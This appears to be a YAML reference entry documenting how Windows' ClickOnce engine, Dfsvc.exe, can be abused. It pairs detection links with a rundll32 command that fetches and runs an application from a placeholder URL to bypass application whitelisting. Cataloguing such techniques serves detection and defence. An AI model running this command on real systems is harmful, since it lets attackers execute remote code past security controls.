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29 lines
1.3 KiB
YAML
29 lines
1.3 KiB
YAML
---
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Name: Dfsvc.exe
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Description: ClickOnce engine in Windows used by .NET
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
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Description: Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)
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Usecase: Use binary to bypass Application whitelisting
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Category: AWL Bypass
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Privileges: User
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MitreID: T1127
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
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- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
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- Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
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- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
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Resources:
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- Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
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- Link: https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe
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Acknowledgement:
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- Person: Casey Smith
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Handle: '@subtee'
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